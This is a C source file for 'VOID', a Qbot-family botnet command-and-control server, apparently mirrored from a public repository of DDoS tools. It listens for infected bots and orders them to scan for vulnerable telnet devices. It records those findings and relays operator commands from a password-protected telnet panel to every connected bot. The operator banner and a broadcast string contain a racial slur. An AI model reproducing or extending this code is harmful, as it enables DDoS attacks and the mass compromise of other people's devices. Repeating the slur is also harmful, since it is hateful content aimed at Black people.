Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/VOID/start.c
5038 views
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <sys/types.h>
5
#include <sys/socket.h>
6
#include <netdb.h>
7
#include <unistd.h>
8
#include <time.h>
9
#include <fcntl.h>
10
#include <sys/epoll.h>
11
#include <errno.h>
12
#include <pthread.h>
13
#include <signal.h>
14
15
#define MAXFDS 1000000
16
17
struct account {
18
char id[20];
19
char password[20];
20
};
21
static struct account accounts[10];
22
23
struct clientdata_t {
24
uint32_t ip;
25
char build[7];
26
char connected;
27
} clients[MAXFDS];
28
29
struct telnetdata_t {
30
int connected;
31
} managements[MAXFDS];
32
33
////////////////////////////////////
34
35
36
static volatile FILE *telFD;
37
static volatile FILE *fileFD;
38
static volatile int epollFD = 0;
39
static volatile int listenFD = 0;
40
static volatile int managesConnected = 0;
41
static volatile int TELFound = 0;
42
static volatile int scannerreport;
43
44
45
////////////////////////////////////
46
47
48
int fdgets(unsigned char *buffer, int bufferSize, int fd)
49
{
50
int total = 0, got = 1;
51
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
52
return got;
53
}
54
void trim(char *str)
55
{
56
int i;
57
int begin = 0;
58
int end = strlen(str) - 1;
59
while (isspace(str[begin])) begin++;
60
while ((end >= begin) && isspace(str[end])) end--;
61
for (i = begin; i <= end; i++) str[i - begin] = str[i];
62
str[i - begin] = '\0';
63
}
64
65
66
static int make_socket_non_blocking (int sfd)
67
{
68
int flags, s;
69
flags = fcntl (sfd, F_GETFL, 0);
70
if (flags == -1)
71
{
72
perror ("fcntl");
73
return -1;
74
}
75
flags |= O_NONBLOCK;
76
s = fcntl (sfd, F_SETFL, flags);
77
if (s == -1)
78
{
79
perror ("fcntl");
80
return -1;
81
}
82
return 0;
83
}
84
85
86
static int create_and_bind (char *port)
87
{
88
struct addrinfo hints;
89
struct addrinfo *result, *rp;
90
int s, sfd;
91
memset (&hints, 0, sizeof (struct addrinfo));
92
hints.ai_family = AF_UNSPEC;
93
hints.ai_socktype = SOCK_STREAM;
94
hints.ai_flags = AI_PASSIVE;
95
s = getaddrinfo (NULL, port, &hints, &result);
96
if (s != 0)
97
{
98
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
99
return -1;
100
}
101
for (rp = result; rp != NULL; rp = rp->ai_next)
102
{
103
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
104
if (sfd == -1) continue;
105
int yes = 1;
106
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
107
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
108
if (s == 0)
109
{
110
break;
111
}
112
close (sfd);
113
}
114
if (rp == NULL)
115
{
116
fprintf (stderr, "Could not bind\n");
117
return -1;
118
}
119
freeaddrinfo (result);
120
return sfd;
121
}
122
void broadcast(char *msg, int us, char *sender)
123
{
124
int sendMGM = 1;
125
if(strcmp(msg, "PING") == 0) sendMGM = 0;
126
char *wot = malloc(strlen(msg) + 10);
127
memset(wot, 0, strlen(msg) + 10);
128
strcpy(wot, msg);
129
trim(wot);
130
time_t rawtime;
131
struct tm * timeinfo;
132
time(&rawtime);
133
timeinfo = localtime(&rawtime);
134
char *timestamp = asctime(timeinfo);
135
trim(timestamp);
136
int i;
137
for(i = 0; i < MAXFDS; i++)
138
{
139
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
140
if(sendMGM && managements[i].connected)
141
{
142
send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
143
send(i, sender, strlen(sender), MSG_NOSIGNAL);
144
send(i, ": ", 2, MSG_NOSIGNAL);
145
}
146
printf("sent to fd: %d\n", i);
147
send(i, msg, strlen(msg), MSG_NOSIGNAL);
148
if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
149
else send(i, "\n", 1, MSG_NOSIGNAL);
150
}
151
free(wot);
152
}
153
154
void *epollEventLoop(void *useless)
155
{
156
struct epoll_event event;
157
struct epoll_event *events;
158
int s;
159
events = calloc (MAXFDS, sizeof event);
160
while (1)
161
{
162
int n, i;
163
n = epoll_wait (epollFD, events, MAXFDS, -1);
164
for (i = 0; i < n; i++)
165
{
166
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
167
{
168
clients[events[i].data.fd].connected = 0;
169
close(events[i].data.fd);
170
continue;
171
}
172
else if (listenFD == events[i].data.fd)
173
{
174
while (1)
175
{
176
struct sockaddr in_addr;
177
socklen_t in_len;
178
int infd, ipIndex;
179
180
in_len = sizeof in_addr;
181
infd = accept (listenFD, &in_addr, &in_len);
182
if (infd == -1)
183
{
184
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
185
else
186
{
187
perror ("accept");
188
break;
189
}
190
}
191
192
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
193
194
int dup = 0;
195
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
196
{
197
if(!clients[ipIndex].connected || ipIndex == infd) continue;
198
199
if(clients[ipIndex].ip == clients[infd].ip)
200
{
201
dup = 1;
202
break;
203
}
204
}
205
206
if(dup)
207
{
208
printf("DUP Client - Terminating\n");
209
if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
210
if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
211
close(infd);
212
continue;
213
}
214
215
s = make_socket_non_blocking (infd);
216
if (s == -1) { close(infd); break; }
217
218
event.data.fd = infd;
219
event.events = EPOLLIN | EPOLLET;
220
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
221
if (s == -1)
222
{
223
perror ("epoll_ctl");
224
close(infd);
225
break;
226
}
227
228
clients[infd].connected = 1;
229
send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
230
send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
231
232
}
233
continue;
234
}
235
else
236
{
237
int thefd = events[i].data.fd;
238
struct clientdata_t *client = &(clients[thefd]);
239
int done = 0;
240
client->connected = 1;
241
while (1)
242
{
243
ssize_t count;
244
char buf[2048];
245
memset(buf, 0, sizeof buf);
246
247
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
248
{
249
if(strstr(buf, "\n") == NULL) { done = 1; break; }
250
trim(buf);
251
if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
252
{
253
if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
254
continue;
255
}
256
if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
257
{
258
char *line = strstr(buf, "REPORT ") + 7;
259
fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
260
fflush(telFD);
261
TELFound++;
262
continue;
263
}
264
if(strstr(buf, "PROBING") == buf)
265
{
266
char *line = strstr(buf, "PROBING");
267
scannerreport = 1;
268
continue;
269
}
270
if(strstr(buf, "REMOVING PROBE") == buf)
271
{
272
char *line = strstr(buf, "REMOVING PROBE");
273
scannerreport = 0;
274
continue;
275
}
276
if(strcmp(buf, "PONG") == 0)
277
{
278
continue;
279
}
280
281
printf("buf: \"%s\"\n", buf);
282
}
283
284
if (count == -1)
285
{
286
if (errno != EAGAIN)
287
{
288
done = 1;
289
}
290
break;
291
}
292
else if (count == 0)
293
{
294
done = 1;
295
break;
296
}
297
}
298
299
if (done)
300
{
301
client->connected = 0;
302
close(thefd);
303
}
304
}
305
}
306
}
307
}
308
309
unsigned int clientsConnected()
310
{
311
int i = 0, total = 0;
312
for(i = 0; i < MAXFDS; i++)
313
{
314
if(!clients[i].connected) continue;
315
total++;
316
}
317
318
return total;
319
}
320
321
void *titleWriter(void *sock)
322
{
323
int thefd = (int)sock;
324
char string[2048];
325
while(1)
326
{
327
memset(string, 0, 2048);
328
sprintf(string, "%c]0;Bots connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
329
if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
330
331
sleep(2);
332
}
333
}
334
335
int Search_in_File(char *str)
336
{
337
FILE *fp;
338
int line_num = 0;
339
int find_result = 0, find_line=0;
340
char temp[512];
341
342
if((fp = fopen("login.txt", "r")) == NULL){
343
return(-1);
344
}
345
while(fgets(temp, 512, fp) != NULL){
346
if((strstr(temp, str)) != NULL){
347
find_result++;
348
find_line = line_num;
349
}
350
line_num++;
351
}
352
if(fp)
353
fclose(fp);
354
355
if(find_result == 0)return 0;
356
357
return find_line;
358
}
359
360
void *telnetWorker(void *sock)
361
{
362
char usernamez[80];
363
int thefd = (int)sock;
364
int find_line;
365
managesConnected++;
366
pthread_t title;
367
char counter[2048];
368
memset(counter, 0, 2048);
369
char buf[2048];
370
char* nickstring;
371
char* username;
372
char* password;
373
memset(buf, 0, sizeof buf);
374
char botnet[2048];
375
memset(botnet, 0, 2048);
376
377
FILE *fp;
378
int i=0;
379
int c;
380
fp=fopen("login.txt", "r"); // format: user pass
381
while(!feof(fp))
382
{
383
c=fgetc(fp);
384
++i;
385
}
386
int j=0;
387
rewind(fp);
388
while(j!=i-1)
389
{
390
fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
391
++j;
392
}
393
394
if(send(thefd, "\x1b[37mUsername:\x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
395
if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
396
trim(buf);
397
sprintf(usernamez, buf);
398
nickstring = ("%s", buf);
399
find_line = Search_in_File(nickstring);
400
if(strcmp(nickstring, accounts[find_line].id) == 0){
401
if(send(thefd, "\x1b[37mPassword:\x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
402
if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
403
trim(buf);
404
if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
405
memset(buf, 0, 2048);
406
goto fak;
407
}
408
failed:
409
if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
410
if(send(thefd, "\x1b[31m===================================\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
411
if(send(thefd, "\x1b[31m= INVALID LOGIN =\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
412
if(send(thefd, "\x1b[31m===================================\n", 43, MSG_NOSIGNAL) == -1) goto end;
413
sleep(5);
414
goto end;
415
fak:
416
417
pthread_create(&title, NULL, &titleWriter, sock);
418
char line1[80];
419
char line2[80];
420
421
sprintf(line1, "= WELCOME TO THE \x1b[0;32mVOID\x1b[0;31m =\r\n");
422
sprintf(line2, "= Now with \x1b[0;32mnigger \x1b[0;31msupport =\r\n");
423
424
if(send(thefd, "\x1b[0;31m=========================================\r\n", 52, MSG_NOSIGNAL) == -1) goto end;
425
if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
426
if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
427
if(send(thefd, "=========================================\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
428
pthread_create(&title, NULL, &titleWriter, sock);
429
managements[thefd].connected = 1;
430
431
while(fdgets(buf, sizeof buf, thefd) > 0)
432
{
433
if(strstr(buf, "!* STATUS"))
434
{
435
sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
436
if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
437
}
438
if(strstr(buf, "!* BOTS"))
439
{
440
sprintf(botnet, "Bots connected: %d | Operators connected: %d\r\n", clientsConnected(), managesConnected);
441
if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
442
}
443
if(strstr(buf, ".logout"))
444
{
445
goto end;
446
}
447
448
trim(buf);
449
if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
450
if(strlen(buf) == 0) continue;
451
printf("%s: \"%s\"\n",accounts[find_line].id, buf);
452
FILE *logFile;
453
logFile = fopen("server.log", "a");
454
fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
455
fclose(logFile);
456
broadcast(buf, thefd, usernamez);
457
memset(buf, 0, 2048);
458
}
459
460
end: // cleanup dead socket
461
managements[thefd].connected = 0;
462
close(thefd);
463
managesConnected--;
464
}
465
466
void *telnetListener(int port)
467
{
468
int sockfd, newsockfd;
469
socklen_t clilen;
470
struct sockaddr_in serv_addr, cli_addr;
471
sockfd = socket(AF_INET, SOCK_STREAM, 0);
472
if (sockfd < 0) perror("ERROR opening socket");
473
bzero((char *) &serv_addr, sizeof(serv_addr));
474
serv_addr.sin_family = AF_INET;
475
serv_addr.sin_addr.s_addr = INADDR_ANY;
476
serv_addr.sin_port = htons(port);
477
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
478
listen(sockfd,5);
479
clilen = sizeof(cli_addr);
480
while(1)
481
{
482
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
483
if (newsockfd < 0) perror("ERROR on accept");
484
pthread_t thread;
485
pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
486
}
487
}
488
489
int main (int argc, char *argv[], void *sock)
490
{
491
signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
492
493
int s, threads, port;
494
struct epoll_event event;
495
496
if (argc != 4)
497
{
498
fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
499
exit (EXIT_FAILURE);
500
}
501
port = atoi(argv[3]);
502
503
printf("\x1b[37mPrivate file, if you have it, fuck you. Created By Void\x1b[0m\n");
504
telFD = fopen("telnet.txt", "a+");
505
threads = atoi(argv[2]);
506
507
listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
508
if (listenFD == -1) abort ();
509
510
s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
511
if (s == -1) abort ();
512
513
s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
514
if (s == -1)
515
{
516
perror ("listen");
517
abort ();
518
}
519
520
epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
521
if (epollFD == -1)
522
{
523
perror ("epoll_create");
524
abort ();
525
}
526
527
event.data.fd = listenFD;
528
event.events = EPOLLIN | EPOLLET;
529
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
530
if (s == -1)
531
{
532
perror ("epoll_ctl");
533
abort ();
534
}
535
536
pthread_t thread[threads + 2];
537
while(threads--)
538
{
539
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
540
}
541
542
pthread_create(&thread[0], NULL, &telnetListener, port);
543
544
while(1)
545
{
546
broadcast("PING", -1, "NIGGER");
547
sleep(60);
548
}
549
550
close (listenFD);
551
552
return EXIT_SUCCESS;
553
}
554